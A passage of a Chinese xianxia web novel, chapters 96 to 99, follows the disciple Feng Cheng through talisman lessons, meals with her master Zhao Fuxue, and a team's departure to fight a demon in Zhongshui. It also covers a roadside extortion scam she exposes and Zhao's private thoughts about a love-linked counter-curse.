这话说得可不合时宜极了,赵负雪没弄懂封澄的脑子是怎么跳到明日吃什么上的,静了片刻,他才道:“你想吃什么,只去与侍从说一声,只是风寒初愈,饮食清淡些好。” 封澄道:“那我明日能端着食案来与师尊一同吃吗?” 赵负雪辟谷多时,于饮食上,处于吃和不吃皆可的境界,他低头看着封澄,拨了两下琴弦:“随你,回屋。” 再站下去大概要被赵负雪扛回去了,封澄也识相,行了个礼,还是回屋了。 门方掩上时,封澄听到外面的琴声又泠泠的响了起来,只是这时的琴声和缓许多,意在安眠。 封澄听不懂琴声,只听得懂风中的马嘶与魔物的吼声,偶尔会借长辈的羌与埙,稀里糊涂吹气,便引了一片笑音。 她透过窗户看去。 月华如雪,披在赵负雪身上,好像一夜之间尽生华发一样。 满声苍凉里,就此藉白头。 不知为何,她躺在榻上,翻来覆去地睡不着,就着不懂的琴声,傻傻地听了一夜。 第96章 第96章一声没响 新生大比前,盛德林拎着众弟子的耳朵,三令五申。 “切忌逞凶斗狠,你们是去比武的,不是去掐架的,碰了事少动拳头!把同窗打坏了,光赔钱就够你赔上一辈子俸禄!” 封澄心不在焉地转笔杆,心想:“天机师这么穷吗?打个人就赔进去一辈子俸禄了?” 陈还面无表情道:“朱砂要甩到我袖子上了。” 封澄这才反应过来:“……” 她也面无表情道:“抱歉啊,我这就收回去。” 盛德林这老头,在处理学生关系上的教育品味烂得一塌糊涂,旁人家学生吵架,先生都是将人调得越远越好,到他这里偏不,明眼瞧着封澄陈还不对付,硬是秉着什么君子大同的歪理来,只把两人死死地绑在一处。 老头有点忧心,面上还是镇定:“留影珠捏好了,哪里不对,先逃,听到了吗?哪怕拿了末名也要逃。” 封澄还是头一遭听见这个东西,一时有些新鲜,一旁的陈还从鼻腔里哼了一声,听着很是不屑。 她好事心起地戳戳陈还,小声道:“哎,不是每年都有的大比吗?先生这么担心做什么?” 陈还冷冷道:“不用操心大比的人,消息可真闭塞。” 封澄一听这动静就知道陈还八成又要开始阴阳,想了想,她把手下的黄纸抽出来,道:“不然这样,我拿符跟你买消息,成吗。” “……” “需要我帮你回忆一下吗?上次你的火符画到一半自燃,若不是盛先生就在,这杏堂便被你烧完了,哼……你的符值几个钱,专坑自己的完蛋玩意。” 封澄眯着眼睛,双指夹着符纸,轻轻地晃了晃,笑得像只狡黠的狐狸。 “不太一样,今天这张是从赵先生案上顺的。” 赵先生? 陈还斜睨她一眼,沉默片刻,劈手夺过她夹在手里的符,勉强道:“今年的外院大比不一样。” 封澄好整以暇地看着她:“哪里不一样?” “……今年的大比,不是学生对打,而是实打实的除魔。”陈还沉声道。 “这届外院中生徒总共五十余人,混编成四只队伍,由几位天机师带着,直接去近来闹魔的四地除魔,昨日已在武场口贴了告示,我,你,还有红班紫班几个人,一并被分进了中水。” 说到中水两字时,陈还的眉蹙得更深了,封澄看得奇怪,不由得出声问道:“难道中水是什么不能去的地方吗?” 陈还道:“你竟连最近中水的事都不知道?你……”她叹了口气,封澄看到她喉头滚动了一下,似乎是竭力吞下了一口脏话,才道:“中水的魔,干了一桩灭门惨案。” “……哦?” 封澄登时好奇地瞪大了眼睛,奇道:“这东西开了杀戒又止不住,修士稍去得晚些,便是一桩灭门案,这有什么奇怪的?” 寻常人家对上魔物,就比如母鸡碰上老鹰,是没什么反抗之力的。 陈还恨恨地剜了她一眼:“见识短浅,你以为它灭的什么门?” “被灭门的,是当地世家。” 顿了顿,她又补了半句;“全是修士。” 封澄霎时止住了话音。 陈还韩很满意封澄的反应,她哼一声,摇了摇头:“所以带着我们这队的修士,便是内院早有盛名的大天机师。此行有多凶险,你该知道了罢。奉劝你一句,作为一个早早就进了内院的人,何必趟这趟浑水?趁早回去跟你师尊卖个可怜,缩在洛京吧。” 她似乎又冷嘲热讽地讲了什么东西,封澄被这么一说,也不怒,也不恼,而是心中嘀咕:“这么凶的东西?我非得亲手杀杀瞧瞧。 而同样的,由于什么也没注意听。待到散学时,封澄又对着面前一张空白黄纸干瞪眼了。 陈还将盛德林方才讲的雷符交上去,盛德林信手一挥,只见雷光电花砰地一声在空中炸开,惊得前头几个学生齐齐睁大了眼,盛德林点了点头,紧蹙的眉头舒展开,终于露出了今天第一个笑意:“不错。” 的确不错,方才已有数人交 上雷符,炸出几团小小雷光的已经是颇有天赋的修士,而同为初学者,陈还这符,却足以当除魔之物了。 盛德林看向陈还,目光里是满满的欣赏。 陈还抬了抬下巴,回书案收拾书篓,瞧见封澄干坐书案前挠头的模样,哼笑一声,心中越发认定了这是个实打实的草包,她居高临下地看着她,暗想:“当真是身世了得的世家子,废物一个,运气实在是好,连给她擦屁股的纸都是赵先生这等修士……呵。” 这般想着,她不自觉将方才的符纸又攥了攥,湿湿黏黏的汗液将符纸洇得有些皱,而纸上的庞然灵力却几乎能透破黄纸印到她的手心上——是凡人都能认出的好东西。 “……” 更不想搭理她了。 眼见着封澄磨磨蹭蹭,盛德林恨铁不成钢,又怒吼一声:“作为尊者亲徒,却区区雷符都绘不成,你出去比什么东西!给魔物送菜吗!瞧瞧眼下还剩几个人!” 封澄挠挠头,环顾四周,只见几个年龄与灵力皆不足的小修士满头大汗,抖抖索索画不成符,越发显得她像根白长了年纪的棒槌。 抬头一看,日头已经偏西,眼瞧着就是鸣霄室摆膳的时候了,封澄心中有些浮躁,暗暗焦急。 憋了半晌,她眼睛一斜,恰巧看见陈还画废的符,封澄登时像见到了救星似的,飞快抬手,如蒙至宝地把一团团黄纸拆开,照葫芦画瓢地一气画了十张。 画罢这十张雷符,她把书篓一收,一路小跑着将一打雷符交了上去,然后以迅雷不及掩耳之势向门外蹿去。 盛德林一直冷眼瞧着封澄,见她忽然上来,一时有些意外,在见到面前这一打雷符时,那点意外立马成了勃然怒气,老头吹胡子瞪眼道:“滚回来!你交上十张符是什么意思,难道要叫我一张张猜吗!” 就他起来找趁手教鞭的时候,封澄早已一溜烟出了门,她遥遥地一挥手,自信满满道:“您老就试吧,总有一张是成的,若一张不成,我明日再来向您请罪!” 最后的“请罪”已经成了远远的尾音,盛德林气得牛眼直瞪,一屁。股坐下,怒气冲冲地道:“油嘴滑舌的小崽子,没定性,跑得还快!岂有此理!” 下面小修士吓得大气不敢出,画出个符样子便鱼贯上去交了雷符,盛德林也没心思强求这几个灵力不够的小崽子画出什么花儿来,雷符但凡有点儿响声,都把人放回去了。 待杏堂内空无一人后,他捻起了封澄交上来的那一打符咒。 “……画的什么东西。”他嗤了一声,捋了捋山羊胡,挥出去一张。 如他意料之中,黄纸轻飘飘地落地,连响也没响一声,是再废纸不过的废纸了。 这张黄纸飘下,老头莫名觉得心底那点说不清道不明的期待被打了一巴掌,他看着这一打黄纸便有些恼怒了,心中只想:“不必十张,若三张内不见雷光,明日便请小兔崽子家长一叙。” 这么想着,第二张黄符也随之飞了出去。 然后轻飘飘地落了地,在他越发幽深的目光中,一声没响。 “……” 眼前这一沓符纸仿佛天大的笑话,盛德林豁然起身,心中怒火越烧越烈,几乎烧尽了他为人师表的理智,他也不想等明日了,抄起这打废纸便踏门而出,誓要去鸣霄室里抽掉这兔崽子一层皮。 迈出杏堂门口的刹那,他不知怎的,想起了方才那“三张符”的打算。 “……再试一张。” 若这张还不行,拼着这把老骨头不要,也要逼尊者好生管教徒弟。 盛德林不抱什么希望地从黄纸里抽出一张来,随即指尖灵力点了点,随意丢了出去。 “……” 一片沉寂。 他冷笑一声——就知道如此。 谁料尚未走出一步,轰天的巨响便从他身后炸来,紧接着,他眼前一道白光亮起。 轰轰轰——咔! 他脸色一白,紧接着大吼一声,运气行遍周身,以生平未有之疾速,在身旁四周撑起了灵力! 走到鸣霄室门口时,封澄似乎听到了哪里传来了一声炸响,她不确定地掏了掏耳朵,转头瞧了瞧,便很没放在心上地进了院子。 一进院子,两只身上亮晶晶的小雀便叼着食案,跌跌撞撞地飞了过来,封澄接过食案一瞧,只见里头几样荤素小菜,配汤水米饭,热乎乎冒着热气,照着她的要求,比平时添了不少,她看了看,轻声道:“师尊已在里头了吗?” 小雀上下翻飞,意思是在。 封澄随着小雀走进了堂中,赵负雪已在案前坐好,听她进来,只略掀了掀眼皮,道:“回来了?” 她瞅了一眼赵负雪的食案,登时被青青绿绿白白一团晃得牙酸,不免撇嘴道:“师尊,你喂兔子呢?” 其实修道之人修到了赵负雪这种位置,本身欲望便会淡一些,食欲、色欲……甚至说求生欲都淡了,可封澄却不,她不像同龄修士,一引气入体便急如火烧似的断了五谷,而是餐餐照常,日日如旧,该吃吃该喝喝,一点儿也不耽误。 端着食案,她啪地一声端坐在赵负雪对面,紧接着,盛了一碗山桂野鸽羹,便推到了赵负雪面前。 “尝尝,”封澄眯着眼睛笑,“野鸽子是我打的,肥瘦合适,正好煲汤。” 赵负雪垂眸看了看在面前摇晃的清澈汤水,清淡的香气扑面而来。 “……” 他看着封澄殷切的表情,抬起手指,淡淡道:“似乎味道不错。” 第97章 第97章已经早早到了 封澄殷切无比,目不转睛地看着赵负雪,探头笑道:“味道如何。” 赵负雪抿了抿唇,放下汤匙,道:“尚可。” 封澄眯着眼睛笑得更得意了,她道:“正值秋冬进补之时,待我猎两头岩羊来给师尊烤着吃。” “还有,师尊听说了最近的外院大比吗?” “略有耳闻。” 赵负雪好像没什么胃口,只将封澄盛下的野鸽子汤喝了几口,便不动食箸,转而端起了一旁的清茶,想了想,又道:“你若不愿意去,也可留下。” 在这里混了也有段时候了,封澄早知道赵负雪绝非寻常修士了,可听他三言两语便将她的外院大比取消,还是忍不住笑了,她单手托腮,手里搅动着汤勺:“哎,我可不是这个意思。只是想问问,这次跟着的修士是哪位大能?” 赵负雪不良于行,不能御剑,连天机院都极少出,封澄压根就不去想赵负雪会不会跟着去,赵负雪闻言,只掀起眼皮来看了她一眼,淡淡道:“怎么。” 封澄笑了笑道:“哎,这不是好奇嘛。听人说是相当了得的人,若是碰上个盛老头那样的古板,玩都玩不痛快。” 大敌当前,还想着玩,不是缺心眼,就是神经大条,赵负雪的注意却莫名偏到了“相当了得”四个字上,手微不可察地一顿,半晌,他敛眸,道:“内院的刀修,名为祝京,刀术不错,并不古板。” 从赵负雪手里得出“并不古板”四字,想必是还好相处的人了,封澄大喜,道:“好好好,这我就放心了,若是叫我这几日对着盛德林那老橘子脸,保不齐半路便跑回长煌去逍遥自在了。” 赵负雪垂眸,手上一时不察,清透的玉髓茶色中竟透了几分冰茬出来,他不动神色地掩住隐隐成冰的茶杯,封澄又道:“今日我取用了师尊案上的朱砂,忘了知会师尊一声。” 他目不转睛地看着封澄埋头吃饭的头顶,声音却淡淡的:“你随意取用……怎么突然想到用朱砂了。” 封澄浑然不觉地扒饭:“画符呗,要朱砂还能做什么。画了个火符,烧着了几张,炸了几张,只成了一张。” “这张成了的,叫我拿去诓人了……还诓得不错,陈还以为那是师尊画的。” 说到此处时,封澄忽然停下了竹箸,十分心虚地从碗沿探出一双眼睛,小心翼翼道:“是那丫 头先出言气人的……” 赵负雪看着她的双眼,忽然笑了笑,抬手弹了弹她的额头,弹得她哎呦一声。 “若因此惹事挨打,记得往回跑。” 这么一说,封澄的两只眼睛登时眯了起来,笑道:“好嘞。” 顿了顿,赵负雪又道:“陈还,似乎是与你一道入中水的同窗。” “是她,”封澄点了点头,端起汤碗来一口喝了,擦擦嘴才道:“听人说,似乎也是哪个地方世家的偏门血脉,我瞧着孤僻得紧,不像旁的世家子弟似的前呼后拥。” “……” 沉默片刻,赵负雪抬手换来晶亮小鸟叼走二人食案,才轻轻道:“……她籍贯上何处。” 封澄理所当然地摇头:“籍贯?他们扯八卦都不带我的,我什么都不知道!” 赵负雪心头微不可察地提了提,他垂眸看着封澄,不错过她面上一丝一毫的表情变动,涩然道:“我闲时曾翻阅录册,记得此人幼时曾在古安生活。” 说到古安两字,赵负雪的声音里几乎含了一丝微不可察的波动。 古安…… 封澄顶着赵负雪的目光,若有所思地捏着茶杯想了会儿,愣是没想出哪家的野货卖到过这个地方,于是很没心没肺地把这地名抛到脑后,当即咂嘴:“师尊,你闲来没事不光要翻赵家的账本,还要查学生的祖坟啊?” 赵负雪:“……” 他重重的吐出一口气,心中默念几句,勉强把心头焦躁平息了下去。 不能急,不能急。 封澄这张到处跑马的嘴他是见识过的,甚至说见识得有点深受其害了,他看着封澄吃饱了便有些犯困的眼睛,纠结半晌,还是叹了口气:“……方用过饭,不要急着入寝,当心积食。” 她懒懒地站了起来;“我知道,马上就去练剑了。师尊,木剑还没削好,我能用长生吗?保证不会像上次似的削掉亭子。” 方才那令人喘不过气的试探令赵负雪有些心神俱疲,他如玉的修长手指轻轻捏着眉心,回想起塌了半截的亭子,只觉得养封澄这种孩子当真是天下头等闹心事:“早知你懒怠削,一茬木头,削了小半个月还是横平竖直的一根……去书房去,放在案下了。” 她眼睛一亮,大喜过望:“太好了师尊!弟子遵命。” 见着封澄连蹦带跳的背影一路蹿进了书房里,赵负雪深深地叹了一口气。 生死咒之感不会出错,她的确是当年逼得祖母动用反咒之人,毋庸置疑。 “……果然荒谬。”赵负雪难以置信地想。 七日后,大比开始,盛德林目送着黄班的九位学生负剑出门,不放心地叮嘱道:“检查检查,千万带好了自己的留影珠,这东西可关乎你们大比成绩的,若遇了事,不要逞强,一定要即刻捏碎它,听到了吗?” “符呢?灵器呢?阵盘呢?都带好了吗?” 老头给那几个年纪小的修士一一检查着,好似一个操心且心力交瘁的老父亲,封澄定睛一看,忽然觉得哪里不对,低头对一旁的陈还道:“他腿怎么了?” 这几日盛德林告休,给黄班讲符咒的修士都换了个年长的内门弟子来,封澄一直与赵负雪住在一处,消息总不如弟子苑里灵通,陈还瞥了她一眼,封澄识趣地丢了张符过去,陈还收了符才慢慢道:“盛老头倒霉,走在路上,不知挨了哪家修士打架飞出来的雷符,不防便被劈得在床上躺了三日,前几天才勉强能下地。” 封澄抱臂啧啧,心有戚戚然,喟然叹道:“这么倒霉,晴天霹雳不过如此。” 陈还也少见地与封澄保持了同一意见,两个年轻女子站得跟小白杨似的,不约而同对盛德林投以怜悯的眼神。 盛德林挂着满脸的担忧,将一个一个的黄班学子依依不舍地松上了车马,转头见两个大的姑娘瞅着他,眼神怪得叫人鸡皮疙瘩一茬一茬往外冒,当即没好气道;“你俩怎么还没走?” 陈还懒懒一举手道:“中水一队,只到了我们两个。” 盛德林对这天资卓绝的丫头倒是脸色和缓了些,他眉宇稍霁,道:“中水与旁处不同,大比尽力即可,莫要伤着了自己。” 陈还应了一声,一旁的封澄举手道:“先生,还有我呢,你不嘱咐我几句吗?” 谁知盛德林瞧见封澄,脸色登时一黑,封澄觉得这老头大概是眉毛和眼皮一块儿抽了,他挪着不太灵便的腿,哼道:“你?不惹出塌天的大祸来,我便道一声阿弥陀佛了。” 好偏见的评价,封澄当即不服要辩,话未出口,却见前面几道劲风飙来,封澄站得靠前,险些被这几道剑风飙得翻了过去,她一站稳,只见几个少年居高临下地站在剑上,颇为不屑道:“我当是哪个陈还被编到了中水,果然啊,是你。” 陈还霎时阴下了脸。 那几个修士年纪极轻,穿最高一档的紫色滚边,身上却不约而同地配着大世家的标志,或是玉佩,或是指环,封澄倍感八卦地捅了捅陈还,道:“怎么说,认得?” 不待陈还说话,为首那年轻修士便对她上下扫视一圈,确认她腰间没配任何玉佩指环后,鄙夷道:“小草头啊?劝你离这女人远点儿,即便是要找条大腿巴结,找不着粗的,至少不能找条脓的。” 小草头? 封澄越发听不懂这群人叨叨着什么了,她疑惑不已道:“什么叫草头?他们是什么人?” 陈还死死地盯着他们,一旁在等着队伍的学生见状不妙,一把把封澄拉过去,小声道;“封姑娘初来乍到,不懂这些吧?这些都是紫班的修士,几乎都是大世家的人,天资灵力灵器一样都不缺,劝你别去招惹。” 又有一人道:“世家子弟天资独厚,大都瞧不起咱们平头百姓,嗤笑我们这等一无家族二无灵器的修士如插草标卖首之人,故而言之草头。” 原来如此,封澄当即大为光火,也不顾这几个人拦着,一步上去骂道:“怎么说话呢?!滚下来打过!” 话音未落,几人当即讶异了,就连陈还也忍不住地回头看了封澄一眼,谁料封澄又道:“要抱也是她抱我大腿,我犯得着抱她的大腿?!” 陈还:“……” 紫班修士:“……” 为首那男子有些瞠目结舌,喃喃道:“真是见了活鬼了……这哪来的一个莽子?” 紫班里早有认出封澄面貌之人,站在为首男子身旁的人眉毛一皱,附耳道:“王铭兄,这似乎是赵先生新收的亲徒,前些日子在大典上那野丫头。” 王铭这才肯正眼瞧封澄一眼,他面色稍稍和缓了些:“……原来是封师妹,久仰大名。” 顿了顿,他瞧了陈还一眼,目光中露出了几分暗讽:“姑娘乃赵先生亲徒,按理说当是我们楷模,理应做出表率才是,怎么倒是先和陈还这等罪人之后纠扯不清了?” 罪人之后? 封澄眼见地察觉到,陈还骤然死死地捏紧了拳头。 见状,封澄当即拍桌道:“你又知道了!” 不知为何,原本瞧封澄八百个不顺眼的盛德林铁青着脸,却一言都未阻拦。 那王铭正要再说,却骤然闻一道清风传来,紧接着便是清亮如凤啼的刀声,封澄回过头,见一女子身着青色长衣,背着刀,笔直如松地向此地走来。 与此同时,她身后还跟着一个看着很好说话的娃娃脸男人。 他背着一把通体鎏金的窄背刀。 “哎呀,同门之间,有什么事不能好好解决?怎么弄得舞蹈弄枪的?快快快,上马车。” 盛德林脸色一变,恭敬道:“祝先生,姜姑娘。” 姜徵清清冷冷地还了礼,她瞥了一旁的封澄一眼,转身掀起衣摆便上了车,祝京微笑着指了指天色飘着的几个紫班修士,道:“我们坐马车去,收剑,上车喽。” 那几个紫班弟子一见祝京,连大气也不敢出,方才那点儿嚣张霎时无影无踪了,他们低头耷拉眼地下来,灰溜溜地排队进了马车门,一旁的祝京微笑道:“马车已要走了,快快,怎么还站在下面?这可是烧灵石的好车,比剑快,还比剑舒服。” 陈还勉强点了点头,闷闷地就要上车去,封澄却奇怪了,她把人点了点,又点了点,奇怪道:“不是说有七个人吗,怎么还少了个人?” 少的那人是红班的修士,一般年幼修士来到天机院,首先便是进红班修习,谁知祝京摇了摇头,笑了笑,一俊朗少年便把头探出了马车,瞧着封澄便露出了两颗虎牙,看着俏皮极了。 “在说我吗?” 封澄一怔,祝京笑道:“寸金……臭小子,就知道你又躲里面打盹了。” 寸金笑笑,转而道:“红班寸金,等候多时了。” 第98章 第98章来,下车 在面临此等场景时,封澄有些愣怔。 面前之人与她原本想象的内院大修大为不同,托赵负雪的福,封澄以为内院修士都和他一个模样,了无人气,仙风道骨的。 此人长了一张和善的娃娃脸,见人的时候便有三分笑意,这笑意并非虚与委蛇或者什么,而是从眼底直直透过来,温和得叫人心中发热,除此之外,还有一点令封澄有些无法忽视。 她低了低头——身高。 作为一个穿了很久最小号校服的人,封澄对最小号校服的肚量十分清晰,故而能轻而易举地判别出来。 祝京,八成连最小号的天机校服都穿着晃荡。 “……” 踏上马车的陈还略微回了回头:“怎么?” 姜徵也跟着看了过来,封澄摇摇头,道:“没什么。” 还有姜徵出现在此地,也是令封澄很意外的。 内院弟子,上天入地,怎么跑来外院大比混热闹? 最后是这马车里探出头的少年。 在初初见到这少年的时候,封澄简直傻眼。 她指着人,你你我我了半日,硬是难以将此人与红班那群少年老成的小孩子联系到一起去,祝京瞧出了她心中所想,笑着拍了拍她的肩:“寸金与他师尊犯拗,被那老头气得赶了出来,你不必担心他,按理说阿徵还要喊他一声师兄呢。” 封澄这才反应过来,她道:“原来是内院的师兄,而不是红班的小孩子。” 就是说嘛,中水那任务凶险得要命,连早已成名的修仙世家都在那魔的手底下讨不了好,怎么会把初入茅庐的小孩子送到中水遭劫呢。 天机院修行,从红班到紫班分七级,如若平常修士,便一级一级地升上去,按部就班地毕业,如若修行不得的,便蹲班留级,连着两年未过便从天机院退学去。 世家修士一般都会按着年龄升班,几个出色些的,说不定还能跳着升,封澄粗粗一眼,总觉得那几个紫班的修士似乎跟陈还差不多年龄。 她皱眉一想,便有些明白关窍了。 以陈还本事,绝不是能在黄班待住的,保不齐便是受了上面的委屈,搞得不得不一年一年地拖了下去,卡着不可连续两年不过的命门,苟延残喘地留在黄班。 祝京早已在一旁悄悄地打量着封澄,封澄略想明白了些便上车去了,她一进马车,还没落座,便被其中分布给惊了个跟头。 马车中泾渭分明地分为两边,一边齐齐地坐着紫班一排人,另一边坐着姜徵与陈还,二人之间的空子比天还大,封澄一看,才知道是陈还死死贴着马车车壁的缘故,她当即扯了扯嘴角,凑过去道:“……你往外面一点,墙角给我,要多少符都没问题。” 姜徵与封澄二人的龃龉可是人尽皆知的,人姜姑娘放着好好的姜家少主不当,放着自家宅院里独一份的修行资源不要,大张旗鼓地跑到天机院里,不是为了拜到隐退多年的赵氏家主门下还能因为什么?结果半路杀出个不知从哪里冒出来的封澄,三下五除二拜了师不说,还差点把姜徵给掳了。 试问就姜允那一派的脾气,哪能这么吃下这个暗亏?扒不了他赵负雪的皮,敲打敲打封澄还不行吗? 陈还翘着二郎腿,看也不看她,冷冷道:“我对世家子弟过敏,对姜家人更是过敏中的过敏。” 封澄:“……” 姜徵也冷冷道:“呵。” 封澄瞅着这俩人,早已磨起了牙,心中只想:“……城门失火,池鱼遭殃。” 陈还看也不看她,冷哼一声便转过了头,封澄在原地纠结了片刻,牙一咬,心一横,提步就往姜徵陈还的中间走去。 大不了就往陈还那里多挤一挤嘛,陈还宽宏大量,一定不会介意的。 谁料她封澄的屁。股还没落过去,后上马车的祝京便自然而然地移到了陈还姜徵二人之间,自然而然地贴着姜徵坐了下去,封澄还没等反应过来,他便笑眯眯道:“那边车窗透气,封姑娘去那里坐罢。” 封澄目瞪口呆。 祝京一坐下,姜徵便轻轻地皱了皱眉毛:“师尊,很挤,你能不能去另一辆马车?” 祝京又笑道:“哎呀,我又不是老赵那等好清净的人,为师来蹭蹭你们年轻人的热闹嘛。” 她闭眼,重新坐了回去。 不是? 封澄的目光移动向了姜徵,眼睛瞪大。 出行的马车有一大一小两辆,按理来说像祝京和姜徵这两个外援是不必和外院子弟一起挤大马车的,祝京好热闹来挤马车也就算了,姜徵来挤什么马车。 其人像仙女一样,垂着眼睛若无其事地坐在大马车里,仿佛把这沉木马车生生地做出了蓬荜生辉的模样来。 其实马车的位置十分宽敞,足足能坐十几个。 好,左边姜徵一行贴得很紧,唯一的空位置在姜徵的侧面,靠着马车窗子。 另外一一边的紫班四人组挤着寸金,瑟瑟发抖成一团,寸金保持着微笑:“?劳驾,诸君皆八尺男儿,能不能离在下远一点儿。” ……好。 眼见着另一边是坐不得了,封澄便大义凛然地坐在了姜徵的旁边,临坐时,封澄尽量想表现得若无其事一些,谁知弯腰过去时,腰间长生剑鞘偏偏不知死活地与姜徵的长刀碰上,霎时间,车厢中冒出一声刺耳又无法忽略的碰撞声。 “……苍天。”封澄心想。 她若无其事地坐下,竭力把方才的尴尬声音抛到脑后去,马车在一片寂静中缓缓地行驶了起来,封澄轻轻地松了一口气,谁知这口气还没松出来,一旁的姜徵便道:“剑不错。” 封澄:“……” 封澄干笑两声:“刀不错,瞧着挺大。” 马车渐渐动了起来,缓缓地驶出了院子,初冬的冷风吹得封澄十分惬意,她半躺在马车上,忽然又注意到了姜徵的刀。 她的刀并没有插在刀鞘离,而是被几条粗布缠上,行走之时,牢牢地背在身后。修道之人灵器武器不离手,她见那粗布虽干净,却是小心洗过多次的旧布,当即有些好奇。 这好奇心压得她几乎坐卧不安,纠结半晌,她才道:“那个,姜姑娘,你的刀,为什么要用粗布缠着啊?” 辘辘的马车声中,车厢内寂静无比。 寸金原本微笑着的面皮一松,他从被群群拥挤着的紫班人中转过头来,一脸看好戏似地看着封澄与姜徵。 格外寂静的车厢令封澄有些尴尬,姜徵不答,她更尴尬,恨不得把自己刚才那句话收回肚子里去。 沉默许久,姜徵缓缓道:“因为道。” 封澄:“????” 姜徵说了这个神不知所谓的道之后,便如同回答完一样,寂然沉默,原地静坐调息去了,徒留封澄一人在风中凌乱,心道:“她方才说了什么?” 对面的寸金憋了憋,艰难没憋住,还是扑哧一声笑了出来,封澄这才看向他,迎向了少年笑得盈盈发亮的眼睛。 “真是一双好眼睛,好看得出奇,亮得出奇。” 寸金胳膊肘撑在膝盖上,他看着封澄,眉眼间有些忍俊不禁的笑意:“这怪模样不必想,定然是祝师叔的杰作了,对不对?” 祝京微笑着指了指他,道一声:“你啊。” 封澄奇怪,身子一偏,隔着姜徵问坐在一旁的祝京;“用布包着刀,是什么道?很厉害吗?我们修剑的也能这么修吗?” 祝京却哈哈大笑,连连摆手:“不行不信,我若这么教了你,老赵非得把我从头到脚冻成冰渣渣不可。阿徵随我修刀,用刀者,杀心有余,慈悲却少,阿徵不用刀鞘,以布裹刀,是为了拔刀前谨慎。” “一条命,修士拔刀出鞘,轻而易举便可得,可人死了,便是活不过来了。” “杀心最盛之时,三思而后拔刀,于阿徵,于世人……都很重要。” 不知为何,在说到这句话时,祝京的表情有些沉重。 封澄半懂不懂,盯着姜徵背着的旧粗布看了半晌,也没琢磨出用布裹刀怎么就和世人扯上了关系,但她也赞一声妙,意思是颇为受教,对面寸金一言不发,只笑笑,然后饶有兴味地觑着外头景色。 不知行 了多久,耳边的繁华人声已渐渐远去,似有山林里鸟叫几声,众人昏昏欲睡之际,忽然间马车剧烈颤抖了一下,紧接着外头便有一道哭天抢地的声音传来:“来人啊,救命啊,马车把人压死了啊!” 封澄眉间一蹙,几人也从昏沉睡意中惊醒,祝京一收折扇,冷冷道:“这车马装着灵石认路,岂会撞到了行人?碰瓷碰到天机院的马车上了,你们在车上不必动,封姑娘,你我一同下车。” 众人一怔,一旁的封澄早已等不及,顺着车窗便钻了出去,只见一白发妇人抱着一个垂垂老矣的老叟跪在路中间,那老叟鼻下口唇皆是鲜血,显然是一惊气绝身亡了。 封澄皱了皱眉,道;“祝先生,怎么处理?” 第99章 第99章留影珠可开着 俩人实在是处理此等事务的最佳人选,一下车,便自然而然地唱起了红脸白脸。 封澄瞧着又爆又不讲理,洛京里呆了半年也没洗去一身的野气,她一走近,那女子便下意识地向后瑟缩,反应过来后又警惕地用双手紧紧地揽住尸首,封澄轻轻一下便把人拨开,反手掀开了那人衣领,上去摸了几下,便心中了然,一拍便骂道:“死了八百年的尸身,挂上去风干都嫌多余,腊得直接能当年后的菜了,你诓我没见过死人啊?” 女人抬起头来,身体发抖,手却不管不顾地伸出来:“什么意思,我听不懂!你、你撞死我家的人,给钱!” 封澄眯了眯眼睛,道:“看清楚啊,干尸!拿一具干尸便出来诓人,我拉你出去见官,保你吃一顿官司的。” 那人本就为求财而来,见求财不成,当即抖也不抖了,站起来,哆哆嗦嗦道:“我,我还怕吃官司吗!” 话音未落,只见四处草丛树林中骤然蹿出几个人影来,封澄当即拔剑出鞘,下意识地便将祝京护在身后,祝京无奈道:“封师侄,我还是有自保之力的。” 封澄这才反应过来,当即有些讪讪——他长得太小太无害,一时间叫人忘了,他是当世凶名赫赫的刀修天机师。 那灰白头发的女子道:“你们哪怕盖世的英雄,双拳也难敌四手,现在若是乖乖给钱,大抵还有得谈。” 只闻一声剑啸,封澄冷冷道:“是吗?” 那几个人影尤且愣怔着,只见一道白光划过,面前庇身的合抱之树便已经一刀两半,那女子一见,登时脸庞雪白,封澄从容收剑,抬着下巴道:“现在还有得谈吗?” 祝京在一旁笑笑:“我们乃天机院车马,小徒顽劣,还请诸位不必惊慌。” 说着,他便与封澄道:“上车去吧,我们走。” 那女子怔怔地看着封澄与祝京,封澄提步欲走,忽然,她猛地扑上来抱住了封澄的腿,喊道:“还请大人娘娘救我们性命!” 封澄一怔,与祝京交换了一个视线,目中有些沉色。 “怎么,谁要你性命。” **** 与此同时,天机院中水镜如实记录了众外院修士的大比考核。 赵负雪垂眸,淡淡道:“你在此处耗着,也没茶水给你喝。” 在一旁站着的不是旁人,正是神龙见首不见尾的温不戒,他双臂环胸,两眼盯着水镜中的中水一行,饶有兴味道:“赵负雪的茶水金贵,我也不求这一口,只是中水考核里面,有这一茬吗?” 赵负雪平静地看着封澄从车窗里蹿了出来:“与你无关。” 温不戒笑着道:“好师兄,你别这么堵人,我从宫里跑出来一趟可不容易呢,老皇帝近来越发没人样了,折腾人折腾得一套一套,连我也险些被他扒去一层皮。” 赵负雪依旧是那副与他无关的模样,专注地看着水镜中的封澄,他脸上神色分毫未变:“既如此,只管随手杀了,另找个孩子丢上去便是。” 他向来不耐烦听这些凡人的俗事,对宫中如何更是毫不关心,只是赵氏为天机世家之首,又的确是有能耐替温不戒出这口气的、撑这个腰的。 温不戒闻言,哈哈大笑道:“我乃手无缚鸡之力的文人,见血就怕,师兄莫要为难我了。” 赵负雪并不接话茬,而是重新全神贯注地看向了水镜之中,忽然间,不知看到了什么,嘴角勾了勾。 这个半大丫头,骨头没长全,胆气与果敢倒有了点初生牛犊的模样,贴着人头皮飞过去的剑气险之又险,若高了,便少些威慑之意,若低了,又怕真杀死了人。 而温不戒却是被封澄手中之剑吸引走了视线,他定睛一看,脸色轻微变了变,转头,脸上倒是有了几分少见的疾言厉色:“这把剑给她了?” 长生封存在赵氏禁地许久,无人敢提。 赵负雪道:“物归原主。” 温不戒定定看了他半晌,才咬着牙道:“师兄糊涂了!长生乃煞剑,那出去必惹祸端。不过是个解咒的人,把人接来好好养着便够了,送出长生又算什么?我就不明白了,你那反咒究竟要怎样才能解?” 说话时,他的声音里带了几分货真价值的担忧,赵负雪敛眸,半晌,道:“看缘分。” 温不戒:“……” 一片沉默之中,赵负雪轻轻地摩挲着手上的指环。 反咒实行后,人的七情六欲统统挖空出去,以达绝情之道。 可与此同时,心口巨大的空洞、被彻底解离出去的一部分,也在日日夜夜地叫嚣。 反咒不是不能解,相反而之,解法相当简单。 “只要她……只要她肯彻底放过你,反咒便能解开了。” 那是周寻芳临终时留给他的话。 生死咒之成,成于两情相悦,而反咒之解,则解于一别两宽。 只要她不肯爱他。 只要她不能爱他。 反咒立解。 赵负雪眯了眯眼睛,慢条斯理地饮了一口茶。 